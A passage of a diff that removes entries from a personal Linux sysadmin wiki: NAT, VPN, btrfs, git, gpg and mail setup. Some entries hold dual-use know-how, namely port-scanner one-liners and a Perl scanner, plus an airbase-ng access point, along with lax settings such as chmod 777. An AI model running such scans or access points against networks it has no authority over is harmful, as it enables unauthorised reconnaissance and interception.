-{{{
-#!/bin/bash
-
-device=ppp0
-#DHCP-Serverstarten
-/etc/rc.d/dhcpd restart
-
-
-echo 1 &gt; /proc/sys/net/ipv4/ip_forward
-echo 1 &gt; /proc/sys/net/ipv4/ip_dynaddr
-
-iptables -A POSTROUTING -t nat -o $device -j MASQUERADE
-
-#iptables -A INPUT -m state --state NEW,INVALID -i $device -j DROP
-#iptables -A FORWARD -m state --state NEW,INVALID -i $device -j DROP
-}}}</pre>
-</div>
-<div title="USB" creator="makefu" modifier="makefu" created="201403071436" modified="201403071436" tags="usb" changecount="2">
-<pre>! Disable one interface
-
-{{{
-lsusb
-lsusb -t
-# syntax of the id:
-# &lt;bus&gt;-&lt;port&gt;.&lt;port&gt;.&lt;port&gt;...
-cd /sys/bus/usb/drivers/usb/1-1.6 ; echo 1 &gt; remove
-}}}</pre>
-</div>
-<div title="UbuntuOne" modifier="makefu" created="201304261132" modified="201307020701" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307020701">
-<pre>- to use with [[Duply]]
-{{{
-wget http://people.canonical.com/~roman.yepishev/us/ubuntuone-sso-login.py
-# source: http://people.canonical.com/~roman.yepishev/us/src/
-pacman -S python2-oauth
-python2 ubuntuone-sso-login.py
-# add oauth=.... to .duply/one/conf
-}}}</pre>
-</div>
-<div title="Using on-board Resources" modifier="makefu" created="201201111536" modified="201201111540" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201201111540">
-<pre>! Home-Grown Port Scanner
-!! Bash
-{{{
-HOST=127.0.0.1;for((port=1;port&lt;=65535;++port));do echo -en &quot;$port &quot;;if exec 5&lt;&gt;/dev/tcp/$HOST/$port 2&gt;/dev/null;then echo -en &quot;\n\nport $port/tcp is open\n\n&quot;;fi;done
-HOST=127.0.0.1;for p in {0..65535};do((bash -c &quot;(&gt;/dev/tcp/$HOST/$p)&quot; 2&gt; /dev/null &amp;&amp; echo open: $p)&amp;read -t0.1;kill $! 2&gt;/dev/null)2&gt;/dev/null;done
-}}}
-!! Shell + Telnet
-also see http://www.gnucitizen.org/blog/agile-hacking-a-homegrown-telnet-based-portscanner/
-{{{
-HOST=127.0.0.1;for((port=1;port&lt;=65535;++port));do echo -en &quot;$port &quot;;if echo -en &quot;open $HOST $port\nlogout\quit&quot; | telnet 2&gt;/dev/null | grep 'Connected to' &gt; /dev/null;then echo -en &quot;\n\nport $port/tcp is open\n\n&quot;;fi;done
-}}}
-!! Perl
-{{{
-use strict;
-use IO::Socket;
-my ($target,$remote,$results,$port,@ports);
-unless (@ARGV &gt; 0) { die &quot;usage: $0 [ip]&quot; }
-$target = shift(@ARGV);
-for ($port = 0; $port&lt;65536; $port++)
-{
- $remote = IO::Socket::INET-&gt;new(
- Proto =&gt; &quot;tcp&quot;,
- PeerAddr =&gt; $target,
- PeerPort =&gt; $port,
- );
- if ($remote) {print &quot;$port is open\n&quot; };
-}
-}}}</pre>
-</div>
-<div title="VPN" creator="makefu" modifier="makefu" created="201310222219" modified="201310222228" changecount="2">
-<pre>! Default route via SSH
-see more https://wiki.archlinux.org/index.php/VPN_over_SSH#OpenSSH.27s_built_in_tunneling
-!! using pvpn
-!!! prepreqs
-{{{
-GNU/Linux
-OpenSSH
-pppd
-bash
-iproute2
-dnsutils (dig(1))
-asciidoc
-(make)
-(binutils)
-}}}
-
-!!! server side
-{{{
-echo &quot;PermitTunnel yes&quot; &gt;&gt; /etc/ssh/sshd_config
-# deploy client pubkey for root
-echo &quot;PermitRootLogin without-password&quot; &gt;&gt; /etc/ssh/sshd_config
-echo &quot;net.ipv4.ip_forward=1&quot; &gt;&gt; /etc/sysctl.conf
-echo &quot;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&quot; &gt;&gt; /etc/rc.local
-}}}
-!!! client side
-{{{
-yaourt -S pvpn
-ssh-copy-id root@host
-pvpn -t ssh-3 root@host default
-}}}</pre>
-</div>
-<div title="Western Digitial Green" modifier="Felix" created="201101311622" modified="201105012354" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201105012354">
-<pre>Watch out for alignment:
-do
-http://www.linuxconfig.org/linux-wd-ears-advanced-format
-
-{{{$ fdisk -H 32 -S 32 /dev/sdx}}}
-{{{
-n
-p
-1
-
-w
-}}}
-! spindown
-use the wdtool to set the spindown time to something more sane than 5 seconds with the freedos bootcd. For older disks use:
-
-{{{
-hdparm -S 80 /dev/sdx
-}}}</pre>
-</div>
-<div title="Xorg" modifier="Felix" created="201102130420" modified="201102130420" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130420">
-<pre>!fancy tools
-{{{
-xev
-setxkbmap en
-xlock -mode blank
-}}}
-!xmodmap
-!! switch mod1 and mod4
-
-{{{
-clear mod1
-clear mod4
-add mod1 = Super_L Super_R Hyper_L
-add mod4 = Alt_L Meta_L
-}}}
--- Umlauts --
-!! multi key for umlauts
-
-keycode 108 = Multi_key
-
-gives :
-Alt-&quot; + u = ü
-Alt-s + s = ß</pre>
-</div>
-<div title="aircrack suite" modifier="Felix" created="201108051110" modified="201108051113" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201108051113">
-<pre>! Set up Access Point
-{{{
-T0$ sysctl net.ipv4.ip_forward=1
-T0$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
-T0$ airbase-ng -c 5 wlan1
-T0$ ifconfig at0 192.168.0.1 up &amp;&amp; dnsmasq -d
-}}}</pre>
-</div>
-<div title="apt-mirror" modifier="Felix" created="201103272207" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103272207">
-<pre>! /etc/apt/mirror.list
-{{{
-
-deb http://ftp.de.debian.org/debian squeeze main non-free contrib
-}}}</pre>
-</div>
-<div title="archlinux" modifier="makefu" created="201307032151" modified="201402260955" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307032153" changecount="3">
-<pre>! basic install
-{{{
-# we are using mbr again, guid somehow does not do the right thing
-fdisk /dev/sda
-# create linux partition(8300)
-n;enter;enter;enter
-# ... and btrfs because all the cool kids do so
-mkfs.btrfs /dev/sda2
-mkdir /mnt/btrfs-root /mnt/active
-mount /dev/sda2 /mnt/btrfs-root
-btrfs subvolume create __active &amp;&amp; cd __active
-btrfs subvolume create var
-mount /dev/sda2 -o default,noatime,subvol=__active /mnt/active
-
-# install that shit
-pacstrap /mnt/active base
-genfstab -p /mnt/active &gt; /mnt/active/etc/fstab
-cat &gt;&gt; /mnt/active/etc/fstab&lt;&lt;EOF
-tmpfs /tmp tmpfs defaults 0 0
-## to never write persistent, uncomment:
-#tmpfs /var/log tmpfs defaults 0 0
-EOF
-arch-chroot /mnt/active
-ln -s /usr/share/zoneinfo/Europe/Berlin /etc/localtime
-echo &quot;LANG=en_US.UTF-8&quot; &gt;&gt; /etc/locale.conf
-echo &quot;en_US.UTF-8 UTF-8&quot; &gt;&gt; /etc/locale.gen
-locale-gen
-echo &quot;my-host&quot; &gt; /etc/hostname
-mkinitcpio -p linux
-pacman -S openssh grub-bios
-grub-mkconfig -o /boot/grub/grub.cfg
-passwd
-# useradd -d /home/bob -m bob
-cd /etc/netctl
-cp examples/ethernet-static lan
-# edit lan , try network: enp0s25 or something
-netctl enable lan
-systemctl enable sshd.service
-grub-install /dev/sda
-exit
-reboot
-}}}</pre>
-</div>
-<div title="auditd" modifier="makefu" created="201303051100" modified="201303051120" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201303051120">
-<pre>To generate a daily report of every user to login to the machine, the following command could be run from cron :
-{{{aureport -l -i -ts yesterday -te today}}}
-To review all audited activity for unusual behavior, a good place to start is to see a summary of which audit rules have been triggering:
-{{{aureport --key --summary}}}
-If access violations stand out, review them with:
-{{{ausearch --key access --raw | aureport --file --summary}}}
-To review what executables are doing:
-{{{ausearch --key access --raw | aureport -x --summary}}}
-If access violations have been occurring on a particular file (such as /etc/shadow)
-{{{ausearch --key access --file /etc/shadow --raw | aureport --user --summary -i}}}</pre>
-</div>
-<div title="autofs" modifier="makefu" created="201307020642" modified="201307020646" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307020646">
-<pre>! Automounting
-!! /etc/auto.master
-{{{
-/media/auto /etc/auto.media --timeout=30 --ghost
-}}}
-/media/auto will be mounted over (do not use full folders).
-{{{--ghost}}} keeps the mount Folders if unused
-!! in /etc/auto.media
-at first {{{blkid -o list | grep your-disk}}}
-{{{
-[name] -fstype=[vfat],other-options :/dev/disk/by-uuid/[your-id]
-}}}</pre>
-</div>
-<div title="awesome" modifier="Felix" created="201104122306" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104122306">
-<pre>!custom hotkeys
-find out the buttons you need with [[xev]], then
-{{{
- awful.key({ }, &quot;XF86AudioPlay&quot;, function () awful.util.spawn(&quot;mpc toggle&quot;) end),
- awful.key({ }, &quot;XF86AudioStop&quot;, function () awful.util.spawn(&quot;mpc stop&quot;) end),
- awful.key({ }, &quot;XF86AudioNext&quot;, function () awful.util.spawn(&quot;mpc next&quot;) end),
- awful.key({ }, &quot;XF86AudioPrev&quot;, function () awful.util.spawn(&quot;mpc prev&quot;) end),
- awful.key({ }, &quot;XF86AudioLowerVolume&quot;, function () awful.util.spawn(&quot;amixer set Master 5%-&quot;) end),
- awful.key({ }, &quot;XF86AudioRaiseVolume&quot;, function () awful.util.spawn(&quot;amixer set Master 5%+&quot;) end),
- awful.key({ }, &quot;XF86AudioMute&quot;, function () awful.util.spawn(&quot;amixer set Master toggle&quot;) end),
- awful.key({ }, &quot;XF86HomePage&quot;, function () awful.util.spawn(&quot;chromium&quot;) end),
-}}}
-under globalkeys entry. also see [[Logitech G15]]</pre>
-</div>
-<div title="bash" modifier="makefu" created="201104110856" modified="201112251138" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201112251138">
-<pre>!Code Snippets
-!! Yes/No Input
-{{{
-read -n1 -p &quot;Install foo? (y/n) &quot; #read one character
-[[ $REPLY = [yY] ]] &amp;&amp; echo sudo aptitude install foo || { echo &quot;You didn't answer yes, or installation failed.&quot;; exit 1; }
-}}}
-!! Run if not yet started
-{{{
-pidof $TOOL &gt;&amp; /dev/null
-if [ $? -ne 0 ]; then
- $TOOL &amp;
-fi
-}}}
-!! Bash Case
-{{{
-case expression in
- pattern1)
- statements ;;
- *) # match the rest
- statements ;;
-esac
-}}}
-!! history stats
-{{{
- cat ~/.histfile | awk '{a[$1]++}END{for(i in a){print a[i] &quot; &quot; i}}' | sort -rn | head
-}}}
-
-!! check if group exists
-{{{
-getent group vboxusers &amp;&gt; /dev/null || groupadd -f -g 108 vboxusers
-}}}
-!! check if binary exists
-{{{
-[[ -x =git ]] || pacman -S git
-#or
-which git || exit 1
-}}}
-!! delete files oder than X Days
-{{{
-find /path/to/folder/ -mtime +X -exec rm {} \;
-}}}
-!! exec self with sudo
-{{{
-exec sudo &quot;$0&quot; &quot;$@&quot;
-}}}</pre>
-</div>
-<div title="beagleboard" modifier="Felix" created="201102012301" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102012301">
-<pre>!Beagleboard Mx
-http://www.watterott.com/de/BeagleBoard-xM</pre>
-</div>
-<div title="btrfs" creator="makefu" modifier="makefu" created="201310012030" modified="201310071351" changecount="9">
-<pre>! installation
-{{{
-pacman -S btrfs btrfs-progs
-}}}
-! hints
-see https://btrfs.wiki.kernel.org/index.php/UseCases
-{{{
-# mount real root
-mount -osubvol=/ &lt;fs&gt; &lt;mount&gt;
-mount -osubvolid=0 &lt;fs&gt; &lt;mount&gt;
-# copy via cow:
-alias cp='cp --reflink=always'
-# mount degraded
-mount -odegraded /&lt;fs&gt; &lt;mount&gt;
-# real used size
-btrfs fi df &lt;mount&gt;
-# raid1 for data and meta (default: meta -&gt; mirrored, data -&gt; striped)
-mkfs.btrfs -m raid1 -d raid1 &lt;fs1&gt; &lt;fs2&gt;
-# jbod (no striping)
-mkfs.btrfs -d single &lt;fs1&gt; &lt;fs2&gt;
-# scan shit
-btrfs dev scan
-# re-balance after disk add
-btrfs dev add &lt;fs&gt; &lt;mount&gt;
-btrfs fi balance &lt;mount&gt;
-# convert current fs
-btrfs balance start -dconvert=raid1 -mconvert=raid1 &lt;mount&gt;
-# remove failed device
-btrfs dev delete missing &lt;mount&gt;
-}}}
-! snapshots
-!! create
-
-!! Roll back
-</pre>
-</div>
-<div title="buildbot" creator="makefu" modifier="makefu" created="201401140039" modified="201401140039" changecount="2">
-<pre>! initial installation
-{{{
-#?/bin/sh
-# something like this
-
-useradd ci
-punani install python-virtualenv
-su ci
-virtualenv buildbot
-echo &quot;. $HOME/buildbot/bin/activate&quot; &gt;~/.bashrc
-pip install buildbot-slave buildbot
-buildbot create-master master
-# cp master.conf master/master.conf
-buildbot reconf master
-# or reconfigure as many slaves as you wish
-buildslave create-slave slave localhost &quot;ubuntu1204-local-slave&quot; aidsballs
-buildbot start master
-buildslave start slave
-
-}}}</pre>
-</div>
-<div title="curl" creator="makefu" modifier="makefu" created="201401140138" changecount="1">
-<pre>! spoof host_name
-{{{
-curl --resolve host:80:ip host
-}}}</pre>
-</div>
-<div title="cygwin" modifier="Felix" created="201102151009" modified="201107180940" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201107180940">
-<pre>! Run rxvt from Context Menu
-{{{
-REGEDIT4
-[HKEY_CLASSES_ROOT\Directory\shell\rxvt]
-@=&quot;rxv&amp;t Here&quot;
-
-[HKEY_CLASSES_ROOT\Directory\shell\rxvt\command]
-@=&quot;C:\\cygwin\\bin\\rxvt.exe -bg black -fg white -sr -sl 1000 -fn \&quot;Fixedsys\&quot; -ls -e /usr/bin/zsh --login -c \&quot;cd '%1'; exec /bin/zsh \&quot;&quot;
-
-[HKEY_CLASSES_ROOT\Drive\shell\rxvt]
-@=&quot;rxv&amp;t Here&quot;
-
-[HKEY_CLASSES_ROOT\Drive\shell\rxvt\command]
-@=&quot;C:\\cygwin\\bin\\rxvt.exe -bg black -fg white -sr -sl 1000 -fn \&quot;Fixedsys\&quot; -ls -e /usr/bin/zsh --login -c \&quot;cd '%1'; exec /bin/zsh \&quot;&quot;
-}}}
-
-! Using git+ssh through proxy
-1. Get corkscrew
-{{{
-export http_proxy=http://g2netcache.alcatel.fr:3128/
-export HTTP_PROXY=$http_proxy
-wget http://ftp.uni-kl.de/pub/windows/cygwin/release/corkscrew/corkscrew-2.0-1.tar.bz2
-tar xf corkscrew*
-cp usr/bin/corkscrew.exe ~/bin
-}}}
-2. update git config
-{{{
-echo &quot;export GIT_SSH=~/bin/myssh&quot; &gt;&gt; ~/.zshrc
-echo 'exec ssh -F ~/.ssh/config &quot;$@&quot;' &gt;&gt; ~/bin/myssh
-}}}
-3. update ssh config file
-{{{
-cat &gt;&gt; ~/.ssh/config &lt;&lt; EOF
-Host leechi
- User makefu
- HostName leechi.kicks-ass.org
- Port 443
- ProxyCommand corkscrew g2netcache.alcatel.fr 3128 %h %p
-EOF
-}}}
-4. work the magic
-{{{
-git clone leechi:auto.git
-}}}</pre>
-</div>
-<div title="dn42" creator="makefu" modifier="makefu" created="201312290037" modified="201312291057" changecount="2">
-<pre>{{{
-auto gre1
-iface gre1 inet tunnel
- mode gre
- netmask 255.255.255.255
- address -ask crest-
- dstaddr -ask crest-
- endpoint -crest endpoint-
- local -local ip-
- ttl 255
-
-}}}</pre>
-</div>
-<div title="dump / restore" modifier="Felix" created="201103021544" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103021544">
-<pre>!Incremental Backups
-{{{
-dump 0uf /path/to/backup.dump /mountpoint
-# wait some time
-dump 1uf /path/to/backup1.dump /mountpoint
-# something is b0rken
-cd /mountpoint
-restore rf /path/to/backup.dump
-restore rf /path/to/backup1.dump
-}}}
-! Restore single files
-{{{
-restore if /path/to/backup.dump
-}}}
-!Test it
-{{{
-
-dd if=/dev/zero of=virtualfs bs=1024 count=30720
-losetup /dev/loop0 virtualfs
-$ mkfs.ext3 /dev/loop0
-...
-$ mount /dev/loop0 /mnt
-...
-$ cd mnt;touch help ; touch me
-$ dump 0uf /loop.dump /mnt # erstelle vollbackup
-...
-$ touch /mnt/khan
-$ dump 1uf /loop1.dump /mnt # erstelle inkrementelles backup
-...
-$ rm /mnt/*
-$ ls /mnt
-[empty]
-$ cd /mnt
-$ restore rf ../loop.dump #vollbackup zurueckspielen
-$ restore rf ../loop1.dump #inkrementelles backup zurueckspielen
-$ ls /mnt
-help
-khan
-me
-}}}</pre>
-</div>
-<div title="duplicity" modifier="makefu" created="201212301806" modified="201301111530" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201301111530">
-<pre>! GPG
-Generate:
-{{{
-gpg --gen-key
-}}}
-As signkey use Secret key and encryption key the Pubkey
-Export:
-{{{
-gpg --export -a root@pigstarter.de &gt; pigstarter.pub
-gpg --export-secret-keys -a root@pigstarter.de &gt; pigstarter.key
-}}}
-Import:
-{{{
-gpg --import &lt; pigstarter.pub
-gpg --import-secret-keys &lt; pigstarter.key
-}}}
-! Sample Duplicity
-{{{
-duplicity --exclude-filelist /exclude rsync://volume-8694@rsync.hidrive.strato.com/users/volume-8694/euer --encrypt-key= --sign-key=
-}}}
-! Restore
-{{{
-duplicity restore --encrypt-key= rsync://volume-8694@rsync.hidrive.strato.com/users/volume-8694/euer /home/euer
-}}}</pre>
-</div>
-<div title="einkaufen" modifier="Felix" created="201108191649" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201108191649">
-<pre>! Focalprice
-FPCUS10OFF - 10 % off</pre>
-</div>
-<div title="evdev" modifier="makefu" created="201303071056" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201303071056">
-<pre>! Python
-{{{
-from evdev import InputDevice,categorize
-from select import select
-
-dev = InputDevice('/dev/input/by-path/pci-0000:00:1a.0-usb-0:1.2:1.0-event-mouse')
-print (dev)
-dev.grab()
-while True:
- r,w,x = select([dev], [], [])
- for event in dev.read():
- print(categorize(event))
-}}}</pre>
-</div>
-<div title="exim4" modifier="Felix" created="201105021018" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201105021018">
-<pre>!Install
-!!Debian
-{{{
-apt-get install exim4
-dpkg-reconfigure exim4-config
-}}}</pre>
-</div>
-<div title="ffmpeg" modifier="makefu" created="201301042149" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201301042149">
-<pre>! grab mjpg_streamer
-{{{
-ffmpeg -f mjpeg -i http://lazorcam.shack/\?action\=stream -vcodec mpeg4 video_file.avi
-}}}</pre>
-</div>
-<div title="file transfer" modifier="Felix" created="201104051736" modified="201104051737" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104051737">
-<pre>{{{
-busybox httpd
-python3 -m http.server
-python2 -m SimpleHTTPServer
-twistd -n web --port=8080 --path=.
-}}}</pre>
-</div>
-<div title="firefox" modifier="makefu" created="201107022110" modified="201107041213" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201107041213">
-<pre>! cache to tmp
-in {{{about:config}}}
-{{{
-browser.cache.disk.parent_directory = /tmp
-}}}
-! search in url bar
-in {{{about:config}}}
-{{{
-keyword.URL = http://www.google.com/search?ie=UTF-8&amp;oe=UTF-8&amp;q=
-}}}</pre>
-</div>
-<div title="ghostscript" modifier="Felix" created="201102130035" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130035">
-<pre>! join pdfs
-ghostscript
-
-{{{ gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=finished.pdf file1.pdf file2.pdf }}}
-</pre>
-</div>
-<div title="git" modifier="YourName" created="201102130037" modified="201308211144" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201301042334" changecount="3">
-<pre>! tips'n'tricks
-!! exclude all files currently not checked or staged
-{{{
-git ls-files --others &gt;&gt; .git/infos/exclude
-}}}
-!! merge another repo into the current one
-{{{
-git clone newrepourl
-[[move the files around to fit the repo to merge into]]
-cd /path/to/oldrepo
-git remote add newrepo /path/to/newrepo
-git fetch newrepo
-git merge newrepo/master
-}}}
-!! ignore file mode changes
-{{{
-git config core.filemode false
-}}}
-! Git HTTP Server via apache
-server side:
-{{{
-#apache webdav:
-Alias /repos &quot;/var/git/&quot;
-
-&lt;Directory &quot;/var/git&quot;&gt;
- Options Indexes FollowSymLinks
- DAV on
- allowOverride all
- Order allow,deny
- allow from all
-&lt;/Directory&gt;
-}}}
-in /var/git
-{{{
-mkdir bla.git
-git init --bare
-# .htaccess :
-AuthType Basic
-AuthName &quot;Git&quot;
-AuthUserFile .ht-auth-file
-Require valid-user
-}}}
-#
-{{{
-htpasswd .ht-auth-file USER
-chmod +rwx .ht*
-chown -R http:http *
-chmod -R 777 * # i have no idea but it seems to work, make sure no new files are being created
-}}}
-! check in history of other repo into current
-{{{
-git pull /path/to/other/repo other-repo
-git checkout other-repo
-git log (look for latest commit of other-repo)
-git reset --hard 'last-commit-of-other-repo' or git reset --hard
- remotes/other-repo
-# do integration magic
-git checkout master
-git merge other-repo
-}}}
-! have a clean checkout of a bare repository with git hooks
-{{{
-git init /home/autosync/autosync
-}}}
-in {{{bare-repo/hooks/post-upate}}}
-{{{
-#!/bin/sh
-cd /home/autosync/autosync/ || exit
-unset GIT_DIR
-git pull origin master | logger
-}}}
-</pre>
-</div>
-<div title="gpg" modifier="Felix" created="201102130033" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130033">
-<pre>!basics
-#edit .gnupg/options
-{{{
-keyserver
-# wwwkeys.pgp.net
-# search.keyserver.net
-# pgp.ai.mit.edu
-}}}
-!! Get Keys and stuff
-{{{
-gpg --recv-keys 0x[hash]
-
-gpg --list-keys
-
-# get fingerprint, check with user
-gpg --fingerprint [name]
-gpg --sign-key [name]
-
-gpg --edit-key [name]
-# type &quot;trust&quot;
-}}}
-! Sign File
-{{{
-#produces a file.asc
-gpg --clearsign FILE
-
-#checks validity
-gpg --verify FILE.asc
-}}}
-! encryption
-{{{
-gpg --encrypt --armor FILE
-
-gpg --decrypt ENCRYPTED/FILE
-}}}
-</pre>
-</div>
-<div title="habanero" modifier="Felix" created="201102132032" modified="201105161955" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201105161955">
-<pre>!Anbau
-Frische habanero, Kerne rauskratzen. In 50% Torf und Kakteenerde. Knapp unter der Erde. Freucht halten. In Flaches behaeltnis, Frischhaltefolie drueber.
-bei 5 cm . Holzspiess, rausheben, umtopfen.</pre>
-</div>
-<div title="honeyd" modifier="makefu" created="201201241013" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201201241013">
-<pre>!installation
-{{{
-apt-get install honeyd gawk
-}}}
-</pre>
-</div>
-<div title="hp-ux" modifier="makefu" created="201301081551" modified="201302121420" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201302121420">
-<pre>! Auditing
-audit files in /var/.audit
-{{{
-audisp -e login /var/.audit/audtrail
-}}}
-find network ip-addr
-{{{
-netstat -in
-ifconfig lanX
-}}}</pre>
-</div>
-<div title="iptables" creator="makefu" modifier="makefu" created="201312241223" changecount="1">
-<pre>! Arch Linux
-{{{
-iptables -F
-iptables -P FORWARD DROP
-iptables -P INPUT DROP
-iptables -P OUTPUT ACCEPT
-iptables -A INPUT -p tcp --dport 1655 -j ACCEPT
-iptables -A INPUT -i lo -j ACCEPT
-iptables-save &gt;/etc/iptables/iptables.rules
-systemctl enable iptables.service
-}}}</pre>
-</div>
-<div title="ldap" modifier="Felix" created="201102130355" modified="201102130355" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130355">
-<pre>! get every entry in scope
-{{{ldapsearch -H &quot;ldap://justitia.jura.uni-tuebingen.de&quot; -b o=Jura -x}}}
-
-! get base ( o=... )
-{{{ldapsearch -H &quot;ldap://justitia.jura.uni-tuebingen.de&quot; -b &quot;&quot; -s base -x}}}
-</pre>
-</div>
-<div title="ls" modifier="Felix" created="201102130027" modified="201107091826" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201107091826">
-<pre>! Change Colors
-{{{
-change colors for files:
-
-dircolors -p &gt; .dircolors
-#edit colorfile
-
-#in .someShellrc
-if [ -f &quot;$HOME/.dircolors&quot; ] ; then
- eval `dircolors -b &quot;$HOME/.dircolors&quot;`
- export LS_COLORS
-fi
-}}}
-without &quot;eval&quot;
-{{{
-dircolors -p &gt; dircolors.txt
-vim dircolors.txt
-dircolors -b ~/dircolors.txt &gt;&gt; .zshrc
-}}}</pre>
-</div>
-<div title="mausezahn" modifier="Felix" created="201102130132" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130132">
-<pre>Mausezahn is a fast traffic generator written in C which allows you to send nearly every possible and impossible packet.
-! Documentation
-website: http://www.perihel.at/sec/mz/
-Docu path: /usr/share/doc/mz
-! DNSSec</pre>
-</div>
-<div title="mk808" modifier="makefu" created="201305100219" modified="201307160022" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307160022">
-<pre>! PicUntu on mk808
-!! burn finless custom image (+root)
-YOU WILL NEED **WINDOWS** FOR THAT
-* grab from http://www.freaktab.com/showthread.php?3857-NEW-MK808-quot-all-models-quot-Finless-1-7 your image
-* Power off android -&gt; hold button under 'not led' pinhole -&gt; power on -&gt; unknown device in windows
-* Install Driver in finless /driver folder
-* Finless ROM Flash Tool
--&gt; Choose as Recovery : http://code.google.com/p/rk3066-linux/
--&gt; Flash ROM
-!! install the linux image
-! Get Wifi Working
-{{{echo &quot;bcm40181&quot; &gt; /etc/modules}}} or {{{modprobe bcm40181}}}
-!! iwlist scan
-... is not working, use the following
-{{{
-
-echo &quot;ctrl_interface=/var/run/wpa_supplicant&quot; &gt; /etc/wpa.conf
-wpa_supplicant -i eth0 -c /etc/wpa.conf -B
-wpa_cli scan
-sleep 5
-wpa_cli scan_results
-}}}</pre>
-</div>
-<div title="mpd" modifier="Felix" created="201104122305" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104122305">
-<pre>! config
-in {{{/etc/mpd.conf}}}, there is a great sample config file, fit that one for your needs.
-!! Sample config
-{{{/usr/share/mpd/mpd.conf.example}}}
-!! Quick config
-{{{
-music_directory &quot;/home/user/music&quot; # Your music dir.
-playlist_directory &quot;/var/lib/mpd/playlists&quot;
-db_file &quot;/var/lib/mpd/mpd.db&quot;
-log_file &quot;/var/log/mpd/mpd.log&quot;
-pid_file &quot;/var/run/mpd/mpd.pid&quot;
-state_file &quot;/var/lib/mpd/mpdstate&quot;
-mixer_type &quot;software&quot; # independent volume
-}}}
-! fixing &quot;Alsa device Busy&quot;
-in {{{/etc/mpd.conf}}}
-{{{
-audio_output {
- type &quot;alsa&quot;
- name &quot;Sound Card&quot;
- options &quot;dev=dmixer&quot;
- device &quot;plug:dmix&quot;
-}
-}}}
-! update database
-{{{
-mpc update
-}}}
-! Clients
-Check out following clients
-* mpc (old school)
-* ncmpcpp (hot shit)</pre>
-</div>
-<div title="mplayer" modifier="Felix" created="201104152106" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104152106">
-<pre>!webcam
-{{{
-mplayer tv:// -tv driver=v4l2:width=320
-}}}</pre>
-</div>
-<div title="msmtp" creator="makefu" modifier="makefu" created="201307290924" modified="201307290927" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" changecount="3">
-<pre>! Install
-{{{
-aptitude install msmtp-mta
-# pacman -S msmtp-mta
-}}}
-! Configure
-in /etc/msmtprc
-{{{
-defaults
-tls on
-tls_starttls on
-tls_trust_file /etc/ssl/certs/ca-certificates.crt
-
-account default
-host smtp.gmail.com
-port 587
-auth on
-user username@gmail.com
-password mypass
-from username@gmail.com
-logfile /var/log/msmtp.log
-}}}
-chmod 600 /etc/msmtprc</pre>
-</div>
-<div title="mutt" modifier="makefu" created="201108031903" modified="201311182128" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307081332" changecount="2">
-<pre>! html view
-in .mailcap
-{{{
-text/html;w3m -dump '%s' -O utf-8 -I %{charset} ; copiousoutput; description=HTML Text; nametemplate=%s.html
-}}}
-in .muttrc
-{{{
-auto_view text/html
-}}}
-! smime
-{{{
-echo &quot;source /usr/share/doc/mutt/samples/smime.rc&quot; &gt;&gt; ~/.muttrc
-smime_keys init
-wget http://services.support.alcatel-lucent.com/PKI/rootCA.crt
-smime_keys add_root rootCA.crt
-
-# create private CA and derive mail certificate (see below)
-# OR
-# get free trusted Certificate from http://www.comodo.com/home/email-security/free-email-certificate.php
-
-smime_keys add_p12 mail.p12
-echo 'set smime_default_key=&quot;&lt;see output above&gt;&quot;' &gt;&gt; ~/.muttrc
-
-mutt
-# receive signed mail of crypto partner
-## CTRL-K
-#fix the ~/.smime/certificates/.index as extraction of complete chains does not work correctly as of today (31.01.2012) see Mutt #3559
-}}}
-!! Create own CA
-{{{
-mkdir ca
-openssl req -new -x509 -keyout ca/rooty.key -out ca/root.pem -days 9001
-openssl rsa -in ca/rooty.key &gt; ca/root.key
-rm ca/rooty.key
-cat &gt; root.cnf &lt;&lt;EOF
-[ ca ]
-default_ca = ca_default
-[ ca_default ]
-dir = ./ca
-certs = $dir
-new_certs_dir = $dir/ca.db.certs
